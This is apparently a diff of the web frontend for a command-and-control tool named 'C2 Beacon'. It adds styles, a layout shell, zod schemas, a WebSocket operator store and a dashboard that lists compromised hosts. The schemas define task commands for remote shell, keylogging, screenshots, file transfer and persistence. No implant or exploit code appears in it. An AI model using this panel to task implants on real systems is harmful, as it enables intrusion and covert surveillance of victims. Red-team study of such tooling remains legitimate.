||||
}
|
||||
|
||||
.navLabel {
|
||||
@include transition-fast;
|
||||
|
||||
.sidebar.collapsed & {
|
||||
display: none;
|
||||
}
|
||||
}
|
||||
|
||||
.collapseBtn {
|
||||
width: 45px;
|
||||
height: 45px;
|
||||
border-radius: $radius-md;
|
||||
color: $accent-green;
|
||||
@include flex-center;
|
||||
@include transition-fast;
|
||||
|
||||
svg {
|
||||
width: 23.5px;
|
||||
height: 23.5px;
|
||||
}
|
||||
|
||||
@include hover {
|
||||
background: $bg-surface-200;
|
||||
color: $text-default;
|
||||
}
|
||||
|
||||
@include breakpoint-down('sm') {
|
||||
display: none;
|
||||
}
|
||||
}
|
||||
|
||||
.overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgb(0, 0, 0, 50%);
|
||||
z-index: calc($z-fixed - 1);
|
||||
display: none;
|
||||
border: none;
|
||||
padding: 0;
|
||||
cursor: pointer;
|
||||
|
||||
@include breakpoint-down('sm') {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
|
||||
.main {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
margin-left: $sidebar-width;
|
||||
min-width: 0;
|
||||
@include transition-fast;
|
||||
|
||||
&.collapsed {
|
||||
margin-left: $sidebar-collapsed-width;
|
||||
}
|
||||
|
||||
@include breakpoint-down('sm') {
|
||||
margin-left: 0;
|
||||
|
||||
&.collapsed {
|
||||
margin-left: 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.header {
|
||||
position: sticky;
|
||||
top: 0;
|
||||
height: $header-height;
|
||||
background-color: $bg-shell-base;
|
||||
background-image: radial-gradient(
|
||||
circle,
|
||||
$bg-shell-dot 1px,
|
||||
transparent 1px
|
||||
);
|
||||
background-size: 17px 17px;
|
||||
border-bottom: 1px solid $border-default;
|
||||
z-index: $z-sticky;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 0 $space-4;
|
||||
}
|
||||
|
||||
.headerLeft {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: $space-3;
|
||||
}
|
||||
|
||||
.menuBtn {
|
||||
display: none;
|
||||
width: 36px;
|
||||
height: 36px;
|
||||
border-radius: $radius-md;
|
||||
color: $text-light;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
@include transition-fast;
|
||||
|
||||
svg {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
}
|
||||
|
||||
@include hover {
|
||||
background: $bg-surface-200;
|
||||
color: $text-default;
|
||||
}
|
||||
|
||||
@media (width <= 479px) {
|
||||
display: flex;
|
||||
}
|
||||
}
|
||||
|
||||
.pageTitle {
|
||||
font-size: $font-size-base;
|
||||
font-weight: $font-weight-medium;
|
||||
color: $text-default;
|
||||
margin-left: 7px;
|
||||
}
|
||||
|
||||
.content {
|
||||
flex: 1;
|
||||
overflow-y: auto;
|
||||
background-color: $bg-content-base;
|
||||
background-image: radial-gradient(
|
||||
circle,
|
||||
$bg-content-dot 1px,
|
||||
transparent 1px
|
||||
);
|
||||
background-size: 20px 20px;
|
||||
}
|
||||
|
||||
.loading {
|
||||
@include flex-center;
|
||||
height: 100%;
|
||||
color: $text-muted;
|
||||
}
|
||||
|
||||
.error {
|
||||
@include flex-column-center;
|
||||
height: 100%;
|
||||
gap: $space-4;
|
||||
padding: $space-6;
|
||||
color: $error-default;
|
||||
|
||||
h2 {
|
||||
font-size: $font-size-xl;
|
||||
font-weight: $font-weight-semibold;
|
||||
}
|
||||
|
||||
pre {
|
||||
font-family: $font-mono;
|
||||
font-size: $font-size-sm;
|
||||
padding: $space-4;
|
||||
background: $bg-surface-200;
|
||||
border-radius: $radius-lg;
|
||||
overflow-x: auto;
|
||||
max-width: 100%;
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,115 @@
|
|||
// ===========================
|
||||
// © AngelaMos | 2026
|
||||
// shell.tsx
|
||||
// ===========================
|
||||
|
||||
import { Suspense } from 'react'
|
||||
import { ErrorBoundary } from 'react-error-boundary'
|
||||
import { LuChevronLeft, LuChevronRight, LuMenu, LuRadar } from 'react-icons/lu'
|
||||
import { NavLink, Outlet, useLocation } from 'react-router-dom'
|
||||
import { ROUTES } from '@/config'
|
||||
import { useUIStore } from '@/core/lib'
|
||||
import styles from './shell.module.scss'
|
||||
|
||||
const NAV_ITEMS = [{ path: ROUTES.DASHBOARD, label: 'Dashboard', icon: LuRadar }]
|
||||
|
||||
function ShellErrorFallback({ error }: { error: Error }): React.ReactElement {
|
||||
return (
|
||||
<div className={styles.error}>
|
||||
<h2>Something went wrong</h2>
|
||||
<pre>{error.message}</pre>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
function ShellLoading(): React.ReactElement {
|
||||
return <div className={styles.loading}>Loading...</div>
|
||||
}
|
||||
|
||||
function getPageTitle(pathname: string): string {
|
||||
if (pathname.startsWith('/session/')) {
|
||||
return 'Session'
|
||||
}
|
||||
const item = NAV_ITEMS.find((i) => i.path === pathname)
|
||||
return item?.label ?? 'Dashboard'
|
||||
}
|
||||
|
||||
export function Shell(): React.ReactElement {
|
||||
const location = useLocation()
|
||||
const { sidebarOpen, sidebarCollapsed, toggleSidebar, toggleSidebarCollapsed } =
|
||||
useUIStore()
|
||||
|
||||
const pageTitle = getPageTitle(location.pathname)
|
||||
|
||||
return (
|
||||
<div className={styles.shell}>
|
||||
<aside
|
||||
className={`${styles.sidebar} ${sidebarOpen ? styles.open : ''} ${sidebarCollapsed ? styles.collapsed : ''}`}
|
||||
>
|
||||
<div className={styles.sidebarHeader}>
|
||||
<span className={styles.logo}>C2 Beacon</span>
|
||||
<button
|
||||
type="button"
|
||||
className={styles.collapseBtn}
|
||||
onClick={toggleSidebarCollapsed}
|
||||
aria-label={sidebarCollapsed ? 'Expand sidebar' : 'Collapse sidebar'}
|
||||
>
|
||||
{sidebarCollapsed ? <LuChevronRight /> : <LuChevronLeft />}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<nav className={styles.nav}>
|
||||
{NAV_ITEMS.map((item) => (
|
||||
<NavLink
|
||||
key={item.path}
|
||||
to={item.path}
|
||||
className={({ isActive }) =>
|
||||
`${styles.navItem} ${isActive ? styles.active : ''}`
|
||||
}
|
||||
onClick={() => sidebarOpen && toggleSidebar()}
|
||||
>
|
||||
<item.icon className={styles.navIcon} />
|
||||
<span className={styles.navLabel}>{item.label}</span>
|
||||
</NavLink>
|
||||
))}
|
||||
</nav>
|
||||
</aside>
|
||||
|
||||
{sidebarOpen && (
|
||||
<button
|
||||
type="button"
|
||||
className={styles.overlay}
|
||||
onClick={toggleSidebar}
|
||||
onKeyDown={(e) => e.key === 'Escape' && toggleSidebar()}
|
||||
aria-label="Close sidebar"
|
||||
/>
|
||||
)}
|
||||
|
||||
<div
|
||||
className={`${styles.main} ${sidebarCollapsed ? styles.collapsed : ''}`}
|
||||
>
|
||||
<header className={styles.header}>
|
||||
<div className={styles.headerLeft}>
|
||||
<button
|
||||
type="button"
|
||||
className={styles.menuBtn}
|
||||
onClick={toggleSidebar}
|
||||
aria-label="Toggle menu"
|
||||
>
|
||||
<LuMenu />
|
||||
</button>
|
||||
<h1 className={styles.pageTitle}>{pageTitle}</h1>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<main className={styles.content}>
|
||||
<ErrorBoundary FallbackComponent={ShellErrorFallback}>
|
||||
<Suspense fallback={<ShellLoading />}>
|
||||
<Outlet />
|
||||
</Suspense>
|
||||
</ErrorBoundary>
|
||||
</main>
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,67 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// toast.module.scss
|
||||
// ===================
|
||||
|
||||
@use '@/styles' as *;
|
||||
|
||||
:global {
|
||||
[data-sonner-toaster] {
|
||||
--normal-bg: #{$bg-surface-100};
|
||||
--normal-border: #{$border-default};
|
||||
--normal-text: #{$text-default};
|
||||
|
||||
--success-bg: #{$bg-surface-100};
|
||||
--success-border: #{$border-default};
|
||||
--success-text: #{$text-default};
|
||||
|
||||
--error-bg: #{$bg-surface-100};
|
||||
--error-border: #{$error-default};
|
||||
--error-text: #{$text-default};
|
||||
|
||||
--warning-bg: #{$bg-surface-100};
|
||||
--warning-border: #{$border-default};
|
||||
--warning-text: #{$text-default};
|
||||
|
||||
--info-bg: #{$bg-surface-100};
|
||||
--info-border: #{$border-default};
|
||||
--info-text: #{$text-default};
|
||||
|
||||
font-family: $font-sans;
|
||||
}
|
||||
|
||||
[data-sonner-toast] {
|
||||
border-radius: $radius-md;
|
||||
padding: $space-3 $space-4;
|
||||
font-size: $font-size-sm;
|
||||
border: 1px solid $border-default;
|
||||
background: $bg-surface-100;
|
||||
color: $text-default;
|
||||
|
||||
[data-title] {
|
||||
font-weight: $font-weight-medium;
|
||||
}
|
||||
|
||||
[data-description] {
|
||||
color: $text-light;
|
||||
font-size: $font-size-xs;
|
||||
}
|
||||
|
||||
[data-close-button] {
|
||||
background: none;
|
||||
border: none;
|
||||
padding: 0;
|
||||
cursor: pointer;
|
||||
color: $text-muted;
|
||||
@include transition-fast;
|
||||
|
||||
@include hover {
|
||||
color: $text-default;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[data-sonner-toast][data-type='error'] {
|
||||
border-color: $error-default;
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// index.ts
|
||||
// ===================
|
||||
|
||||
export * from './shell.ui.store'
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// shell.ui.store.ts
|
||||
// ===================
|
||||
|
||||
import { create } from 'zustand'
|
||||
import { devtools, persist } from 'zustand/middleware'
|
||||
import { STORAGE_KEYS } from '@/config'
|
||||
|
||||
interface UIState {
|
||||
sidebarOpen: boolean
|
||||
sidebarCollapsed: boolean
|
||||
toggleSidebar: () => void
|
||||
setSidebarOpen: (open: boolean) => void
|
||||
toggleSidebarCollapsed: () => void
|
||||
}
|
||||
|
||||
export const useUIStore = create<UIState>()(
|
||||
devtools(
|
||||
persist(
|
||||
(set) => ({
|
||||
sidebarOpen: false,
|
||||
sidebarCollapsed: false,
|
||||
|
||||
toggleSidebar: () =>
|
||||
set(
|
||||
(state) => ({ sidebarOpen: !state.sidebarOpen }),
|
||||
false,
|
||||
'ui/toggleSidebar'
|
||||
),
|
||||
|
||||
setSidebarOpen: (open) =>
|
||||
set({ sidebarOpen: open }, false, 'ui/setSidebarOpen'),
|
||||
|
||||
toggleSidebarCollapsed: () =>
|
||||
set(
|
||||
(state) => ({ sidebarCollapsed: !state.sidebarCollapsed }),
|
||||
false,
|
||||
'ui/toggleSidebarCollapsed'
|
||||
),
|
||||
}),
|
||||
{
|
||||
name: STORAGE_KEYS.UI,
|
||||
partialize: (state) => ({
|
||||
sidebarCollapsed: state.sidebarCollapsed,
|
||||
}),
|
||||
}
|
||||
),
|
||||
{ name: 'UIStore' }
|
||||
)
|
||||
)
|
||||
|
||||
export const useSidebarOpen = (): boolean => useUIStore((s) => s.sidebarOpen)
|
||||
export const useSidebarCollapsed = (): boolean =>
|
||||
useUIStore((s) => s.sidebarCollapsed)
|
||||
|
|
@ -0,0 +1,99 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// types.ts
|
||||
// ===================
|
||||
|
||||
import { z } from 'zod/v4'
|
||||
|
||||
export const CommandType = z.enum([
|
||||
'shell',
|
||||
'sysinfo',
|
||||
'proclist',
|
||||
'upload',
|
||||
'download',
|
||||
'screenshot',
|
||||
'keylog_start',
|
||||
'keylog_stop',
|
||||
'persist',
|
||||
'sleep',
|
||||
])
|
||||
export type CommandType = z.infer<typeof CommandType>
|
||||
|
||||
export const BeaconRecord = z.object({
|
||||
id: z.string(),
|
||||
hostname: z.string(),
|
||||
os: z.string(),
|
||||
username: z.string(),
|
||||
pid: z.number(),
|
||||
internal_ip: z.string(),
|
||||
arch: z.string(),
|
||||
first_seen: z.string(),
|
||||
last_seen: z.string(),
|
||||
active: z.boolean(),
|
||||
})
|
||||
export type BeaconRecord = z.infer<typeof BeaconRecord>
|
||||
|
||||
export const TaskRecord = z.object({
|
||||
id: z.string(),
|
||||
beacon_id: z.string(),
|
||||
command: CommandType,
|
||||
args: z.string().nullable().optional(),
|
||||
status: z.string(),
|
||||
created_at: z.string(),
|
||||
completed_at: z.string().nullable().optional(),
|
||||
})
|
||||
export type TaskRecord = z.infer<typeof TaskRecord>
|
||||
|
||||
export const TaskResult = z.object({
|
||||
id: z.string(),
|
||||
task_id: z.string(),
|
||||
output: z.string().nullable().optional(),
|
||||
error: z.string().nullable().optional(),
|
||||
created_at: z.string(),
|
||||
})
|
||||
export type TaskResult = z.infer<typeof TaskResult>
|
||||
|
||||
export const WsBeaconList = z.object({
|
||||
type: z.literal('beacon_list'),
|
||||
payload: z.array(BeaconRecord),
|
||||
})
|
||||
|
||||
export const WsBeaconConnected = z.object({
|
||||
type: z.literal('beacon_connected'),
|
||||
payload: BeaconRecord.omit({ active: true, first_seen: true, last_seen: true }),
|
||||
})
|
||||
|
||||
export const WsBeaconDisconnected = z.object({
|
||||
type: z.literal('beacon_disconnected'),
|
||||
payload: z.object({ id: z.string() }),
|
||||
})
|
||||
|
||||
export const WsHeartbeat = z.object({
|
||||
type: z.literal('heartbeat'),
|
||||
payload: z.object({ id: z.string() }),
|
||||
})
|
||||
|
||||
export const WsTaskResult = z.object({
|
||||
type: z.literal('task_result'),
|
||||
payload: TaskResult,
|
||||
})
|
||||
|
||||
export const WsTaskSubmitted = z.object({
|
||||
type: z.literal('task_submitted'),
|
||||
payload: z.object({ local_id: z.string(), task_id: z.string() }),
|
||||
})
|
||||
|
||||
export const WsServerMessage = z.discriminatedUnion('type', [
|
||||
WsBeaconList,
|
||||
WsBeaconConnected,
|
||||
WsBeaconDisconnected,
|
||||
WsHeartbeat,
|
||||
WsTaskResult,
|
||||
WsTaskSubmitted,
|
||||
])
|
||||
export type WsServerMessage = z.infer<typeof WsServerMessage>
|
||||
|
||||
export function parseServerMessage(raw: string): WsServerMessage | null {
|
||||
const result = WsServerMessage.safeParse(JSON.parse(raw))
|
||||
return result.success ? result.data : null
|
||||
}
|
||||
|
|
@ -0,0 +1,262 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// ws.ts
|
||||
// ===================
|
||||
|
||||
import { useEffect, useRef } from 'react'
|
||||
import { toast } from 'sonner'
|
||||
import { create } from 'zustand'
|
||||
import { devtools } from 'zustand/middleware'
|
||||
import { useShallow } from 'zustand/react/shallow'
|
||||
import { WS_ENDPOINTS } from '@/config'
|
||||
import type { BeaconRecord, CommandType, TaskResult } from './types'
|
||||
import { parseServerMessage } from './types'
|
||||
|
||||
interface C2State {
|
||||
beacons: Record<string, BeaconRecord>
|
||||
taskResults: TaskResult[]
|
||||
taskIdMap: Record<string, string>
|
||||
connected: boolean
|
||||
}
|
||||
|
||||
interface C2Actions {
|
||||
setBeacons: (list: BeaconRecord[]) => void
|
||||
upsertBeacon: (
|
||||
beacon: Omit<BeaconRecord, 'active' | 'first_seen' | 'last_seen'>
|
||||
) => void
|
||||
markDisconnected: (id: string) => void
|
||||
markHeartbeat: (id: string) => void
|
||||
addTaskResult: (result: TaskResult) => void
|
||||
mapTaskId: (localId: string, taskId: string) => void
|
||||
setConnected: (connected: boolean) => void
|
||||
clearResults: () => void
|
||||
}
|
||||
|
||||
type C2Store = C2State & C2Actions
|
||||
|
||||
export const useC2Store = create<C2Store>()(
|
||||
devtools(
|
||||
(set) => ({
|
||||
beacons: {},
|
||||
taskResults: [],
|
||||
taskIdMap: {},
|
||||
connected: false,
|
||||
|
||||
setBeacons: (list) =>
|
||||
set(
|
||||
() => {
|
||||
const beacons: Record<string, BeaconRecord> = {}
|
||||
for (const b of list) {
|
||||
beacons[b.id] = b
|
||||
}
|
||||
return { beacons }
|
||||
},
|
||||
false,
|
||||
'c2/setBeacons'
|
||||
),
|
||||
|
||||
upsertBeacon: (beacon) =>
|
||||
set(
|
||||
(state) => {
|
||||
const existing = state.beacons[beacon.id]
|
||||
return {
|
||||
beacons: {
|
||||
...state.beacons,
|
||||
[beacon.id]: {
|
||||
...beacon,
|
||||
active: true,
|
||||
first_seen: existing?.first_seen ?? new Date().toISOString(),
|
||||
last_seen: new Date().toISOString(),
|
||||
},
|
||||
},
|
||||
}
|
||||
},
|
||||
false,
|
||||
'c2/upsertBeacon'
|
||||
),
|
||||
|
||||
markDisconnected: (id) =>
|
||||
set(
|
||||
(state) => {
|
||||
const beacon = state.beacons[id]
|
||||
if (!beacon) return state
|
||||
return {
|
||||
beacons: { ...state.beacons, [id]: { ...beacon, active: false } },
|
||||
}
|
||||
},
|
||||
false,
|
||||
'c2/markDisconnected'
|
||||
),
|
||||
|
||||
markHeartbeat: (id) =>
|
||||
set(
|
||||
(state) => {
|
||||
const beacon = state.beacons[id]
|
||||
if (!beacon) return state
|
||||
return {
|
||||
beacons: {
|
||||
...state.beacons,
|
||||
[id]: {
|
||||
...beacon,
|
||||
active: true,
|
||||
last_seen: new Date().toISOString(),
|
||||
},
|
||||
},
|
||||
}
|
||||
},
|
||||
false,
|
||||
'c2/markHeartbeat'
|
||||
),
|
||||
|
||||
addTaskResult: (result) =>
|
||||
set(
|
||||
(state) => ({
|
||||
taskResults: [...state.taskResults, result],
|
||||
}),
|
||||
false,
|
||||
'c2/addTaskResult'
|
||||
),
|
||||
|
||||
mapTaskId: (localId, taskId) =>
|
||||
set(
|
||||
(state) => ({
|
||||
taskIdMap: { ...state.taskIdMap, [localId]: taskId },
|
||||
}),
|
||||
false,
|
||||
'c2/mapTaskId'
|
||||
),
|
||||
|
||||
setConnected: (connected) => set({ connected }, false, 'c2/setConnected'),
|
||||
|
||||
clearResults: () => set({ taskResults: [] }, false, 'c2/clearResults'),
|
||||
}),
|
||||
{ name: 'C2Store' }
|
||||
)
|
||||
)
|
||||
|
||||
function getWsUrl(): string {
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
|
||||
return `${protocol}//${window.location.host}${WS_ENDPOINTS.OPERATOR}`
|
||||
}
|
||||
|
||||
export function useOperatorSocket(): {
|
||||
sendTask: (
|
||||
beaconId: string,
|
||||
command: CommandType,
|
||||
args?: string,
|
||||
localId?: string
|
||||
) => void
|
||||
} {
|
||||
const wsRef = useRef<WebSocket | null>(null)
|
||||
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null)
|
||||
|
||||
useEffect(() => {
|
||||
const {
|
||||
setBeacons,
|
||||
upsertBeacon,
|
||||
markDisconnected,
|
||||
markHeartbeat,
|
||||
addTaskResult,
|
||||
mapTaskId,
|
||||
setConnected,
|
||||
} = useC2Store.getState()
|
||||
|
||||
let attempt = 0
|
||||
|
||||
function connect(): void {
|
||||
const ws = new WebSocket(getWsUrl())
|
||||
wsRef.current = ws
|
||||
|
||||
ws.onopen = () => {
|
||||
attempt = 0
|
||||
setConnected(true)
|
||||
}
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
const message = parseServerMessage(event.data as string)
|
||||
if (message === null) return
|
||||
|
||||
switch (message.type) {
|
||||
case 'beacon_list':
|
||||
setBeacons(message.payload)
|
||||
break
|
||||
case 'beacon_connected':
|
||||
upsertBeacon(message.payload)
|
||||
toast.success(`Beacon connected: ${message.payload.hostname}`)
|
||||
break
|
||||
case 'beacon_disconnected':
|
||||
markDisconnected(message.payload.id)
|
||||
break
|
||||
case 'heartbeat':
|
||||
markHeartbeat(message.payload.id)
|
||||
break
|
||||
case 'task_result':
|
||||
addTaskResult(message.payload)
|
||||
break
|
||||
case 'task_submitted':
|
||||
mapTaskId(message.payload.local_id, message.payload.task_id)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
ws.onclose = () => {
|
||||
setConnected(false)
|
||||
const delay = Math.min(1000 * 2 ** attempt, 30000)
|
||||
attempt += 1
|
||||
reconnectTimer.current = setTimeout(connect, delay) as ReturnType<
|
||||
typeof setTimeout
|
||||
>
|
||||
}
|
||||
|
||||
ws.onerror = () => {
|
||||
ws.close()
|
||||
}
|
||||
}
|
||||
|
||||
connect()
|
||||
|
||||
return () => {
|
||||
if (reconnectTimer.current !== null) {
|
||||
clearTimeout(reconnectTimer.current)
|
||||
}
|
||||
wsRef.current?.close()
|
||||
}
|
||||
}, [])
|
||||
|
||||
function sendTask(
|
||||
beaconId: string,
|
||||
command: CommandType,
|
||||
args?: string,
|
||||
localId?: string
|
||||
): void {
|
||||
const ws = wsRef.current
|
||||
if (ws === null || ws.readyState !== WebSocket.OPEN) return
|
||||
|
||||
ws.send(
|
||||
JSON.stringify({
|
||||
type: 'submit_task',
|
||||
payload: {
|
||||
beacon_id: beaconId,
|
||||
command,
|
||||
args: args ?? null,
|
||||
local_id: localId ?? null,
|
||||
},
|
||||
})
|
||||
)
|
||||
}
|
||||
|
||||
return { sendTask }
|
||||
}
|
||||
|
||||
export const useBeacons = (): BeaconRecord[] =>
|
||||
useC2Store(useShallow((s) => Object.values(s.beacons)))
|
||||
|
||||
export const useBeacon = (id: string): BeaconRecord | undefined =>
|
||||
useC2Store((s) => s.beacons[id])
|
||||
|
||||
export const useTaskResults = (): TaskResult[] => useC2Store((s) => s.taskResults)
|
||||
|
||||
export const useTaskIdMap = (): Record<string, string> =>
|
||||
useC2Store((s) => s.taskIdMap)
|
||||
|
||||
export const useIsConnected = (): boolean => useC2Store((s) => s.connected)
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
// ===========================
|
||||
// © AngelaMos | 2026
|
||||
// main.tsx
|
||||
// ===========================
|
||||
|
||||
import { StrictMode } from 'react'
|
||||
import { createRoot } from 'react-dom/client'
|
||||
import App from './App'
|
||||
import './styles.scss'
|
||||
|
||||
createRoot(document.getElementById('root')!).render(
|
||||
<StrictMode>
|
||||
<App />
|
||||
</StrictMode>
|
||||
)
|
||||
|
|
@ -0,0 +1,173 @@
|
|||
// ===================
|
||||
// © AngelaMos | 2026
|
||||
// dashboard.module.scss
|
||||
// ===================
|
||||
|
||||
@use '@/styles' as *;
|
||||
|
||||
.page {
|
||||
min-height: calc(100vh - 56px);
|
||||
padding: $space-6;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 1200px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.header {
|
||||
@include flex-between;
|
||||
margin-bottom: $space-6;
|
||||
}
|
||||
|
||||
.headerLeft {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: $space-3;
|
||||
}
|
||||
|
||||
.title {
|
||||
font-size: $font-size-2xl;
|
||||
font-weight: $font-weight-semibold;
|
||||
color: $text-default;
|
||||
}
|
||||
|
||||
.statusDot {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
|
||||
svg {
|
||||
width: 10px;
|
||||
height: 10px;
|
||||
fill: currentColor;
|
||||
stroke: currentColor;
|
||||
}
|
||||
|
||||
&.online {
|
||||
color: $accent-green;
|
||||
}
|
||||
|
||||
&.offline {
|
||||
color: $accent-red;
|
||||
}
|
||||
}
|
||||
|
||||
.count {
|
||||
font-size: $font-size-sm;
|
||||
font-family: $font-mono;
|
||||
color: $text-lighter;
|
||||
}
|
||||
|
||||
.countValue {
|
||||
color: $accent-green;
|
||||
}
|
||||
|
||||
.tableWrap {
|
||||
overflow-x: auto;
|
||||
border: 1px solid $border-default;
|
||||
border-radius: $radius-lg;
|
||||
background: $bg-surface-75;
|
||||
}
|
||||
|
||||
.table {
|
||||
width: 100%;
|
||||
font-size: $font-size-sm;
|
||||
border-collapse: collapse;
|
||||
|
||||
th,
|
||||
td {
|
||||
padding: $space-3 $space-4;
|
||||
text-align: left;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
th {
|
||||
font-size: $font-size-xs;
|
||||
font-weight: $font-weight-medium;
|
||||
color: $accent-green;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: $tracking-wide;
|
||||
border-bottom: 1px solid $border-default;
|
||||
background: $bg-surface-100;
|
||||
}
|
||||
|
||||
tbody tr {
|
||||
border-bottom: 1px solid $border-muted;
|
||||
|
||||
&:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
.row {
|
||||
color: $text-light;
|
||||
cursor: pointer;
|
||||
@include transition-fast;
|
||||
|
||||
@include hover {
|
||||
background: $bg-surface-200;
|
||||
color: $text-default;
|
||||
}
|
||||
|
||||
&:focus-visible {
|
||||
outline: 2px solid $border-strong;
|
||||
outline-offset: -2px;
|
||||
}
|
||||
}
|
||||
|
||||
.cellId {
|
||||
font-family: $font-mono;
|
||||
font-size: $font-size-xs;
|
||||
color: $text-lighter;
|
||||
}
|
||||
|
||||
.cellMono {
|
||||
font-family: $font-mono;
|
||||
}
|
||||
|
||||
.badge {
|
||||
display: inline-block;
|
||||
padding: $space-0-5 $space-2;
|
||||
border-radius: $radius-full;
|
||||
font-size: $font-size-xs;
|
||||
font-weight: $font-weight-medium;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: $tracking-wide;
|
||||
}
|
||||
|
||||
.badgeOnline {
|
||||
color: $accent-green;
|
||||
background: $accent-green-dim;
|
||||
}
|
||||
|
||||
.badgeOffline {
|
||||
color: $accent-red;
|
||||
background: $accent-red-dim;
|
||||
}
|
||||
|
||||
.empty {
|
||||
@include flex-column-center;
|
||||
padding: $space-20 $space-6;
|
||||
color: $text-muted;
|
||||
gap: $space-3;
|
||||
}
|
||||
|
||||
.emptyIcon {
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
margin-bottom: $space-2;
|
||||
}
|
||||
|
||||
.emptyTitle {
|
||||
font-size: $font-size-lg;
|
||||
font-weight: $font-weight-medium;
|
||||
color: $text-lighter;
|
||||
}
|
||||
|
||||
.emptyDesc {
|
||||
font-size: $font-size-sm;
|
||||
color: $text-muted;
|
||||
max-width: 320px;
|
||||
text-align: center;
|
||||
}
|
||||
|
|
@ -0,0 +1,147 @@
|
|||
// ===========================
|
||||
// © AngelaMos | 2026
|
||||
// pages/dashboard/index.tsx
|
||||
// ===========================
|
||||
|
||||
import { useEffect, useState } from 'react'
|
||||
import { LuCircle, LuRadar } from 'react-icons/lu'
|
||||
import { useNavigate } from 'react-router-dom'
|
||||
import { ROUTES } from '@/config'
|
||||
import type { BeaconRecord } from '@/core/types'
|
||||
import { useBeacons, useIsConnected, useOperatorSocket } from '@/core/ws'
|
||||
import styles from './dashboard.module.scss'
|
||||
|
||||
function formatRelativeTime(iso: string): string {
|
||||
const diff = Math.floor((Date.now() - new Date(iso).getTime()) / 1000)
|
||||
if (diff < 5) return 'just now'
|
||||
if (diff < 60) return `${diff}s ago`
|
||||
if (diff < 3600) return `${Math.floor(diff / 60)}m ago`
|
||||
if (diff < 86400) return `${Math.floor(diff / 3600)}h ago`
|
||||
return `${Math.floor(diff / 86400)}d ago`
|
||||
}
|
||||
|
||||
function isOnline(lastSeen: string): boolean {
|
||||
return Date.now() - new Date(lastSeen).getTime() < 30_000
|
||||
}
|
||||
|
||||
function truncateId(id: string): string {
|
||||
return id.length > 8 ? `${id.slice(0, 8)}...` : id
|
||||
}
|
||||
|
||||
function StatusDot({ connected }: { connected: boolean }): React.ReactElement {
|
||||
return (
|
||||
<span
|
||||
className={`${styles.statusDot} ${connected ? styles.online : styles.offline}`}
|
||||
role="img"
|
||||
aria-label={connected ? 'Connected' : 'Disconnected'}
|
||||
>
|
||||
<LuCircle />
|
||||
</span>
|
||||
)
|
||||
}
|
||||
|
||||
function BeaconRow({
|
||||
beacon,
|
||||
onClick,
|
||||
}: {
|
||||
beacon: BeaconRecord
|
||||
onClick: () => void
|
||||
}): React.ReactElement {
|
||||
const online = beacon.active && isOnline(beacon.last_seen)
|
||||
|
||||
return (
|
||||
<tr
|
||||
className={styles.row}
|
||||
onClick={onClick}
|
||||
onKeyDown={(e) => e.key === 'Enter' && onClick()}
|
||||
tabIndex={0}
|
||||
>
|
||||
<td className={styles.cellId}>{truncateId(beacon.id)}</td>
|
||||
<td>{beacon.hostname}</td>
|
||||
<td>{beacon.os}</td>
|
||||
<td>{beacon.username}</td>
|
||||
<td className={styles.cellMono}>{beacon.internal_ip}</td>
|
||||
<td className={styles.cellMono}>{formatRelativeTime(beacon.last_seen)}</td>
|
||||
<td>
|
||||
<span
|
||||
className={`${styles.badge} ${online ? styles.badgeOnline : styles.badgeOffline}`}
|
||||
>
|
||||
{online ? 'online' : 'offline'}
|
||||
</span>
|
||||
</td>
|
||||
</tr>
|
||||
)
|
||||
}
|
||||
|
||||
function EmptyState(): React.ReactElement {
|
||||
return (
|
||||
<div className={styles.empty}>
|
||||
<LuRadar className={styles.emptyIcon} />
|
||||
<p className={styles.emptyTitle}>No beacons connected</p>
|
||||
<p className={styles.emptyDesc}>
|
||||
Start a beacon implant to see it appear here in real-time.
|
||||
</p>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
export function Component(): React.ReactElement {
|
||||
useOperatorSocket()
|
||||
const beacons = useBeacons()
|
||||
const connected = useIsConnected()
|
||||
const navigate = useNavigate()
|
||||
const [, setTick] = useState(0)
|
||||
|
||||
useEffect(() => {
|
||||
const interval = setInterval(() => setTick((t) => t + 1), 1000)
|
||||
return () => clearInterval(interval)
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div className={styles.page}>
|
||||
<div className={styles.container}>
|
||||
<div className={styles.header}>
|
||||
<div className={styles.headerLeft}>
|
||||
<h1 className={styles.title}>Operator Dashboard</h1>
|
||||
<StatusDot connected={connected} />
|
||||
</div>
|
||||
<span className={styles.count}>
|
||||
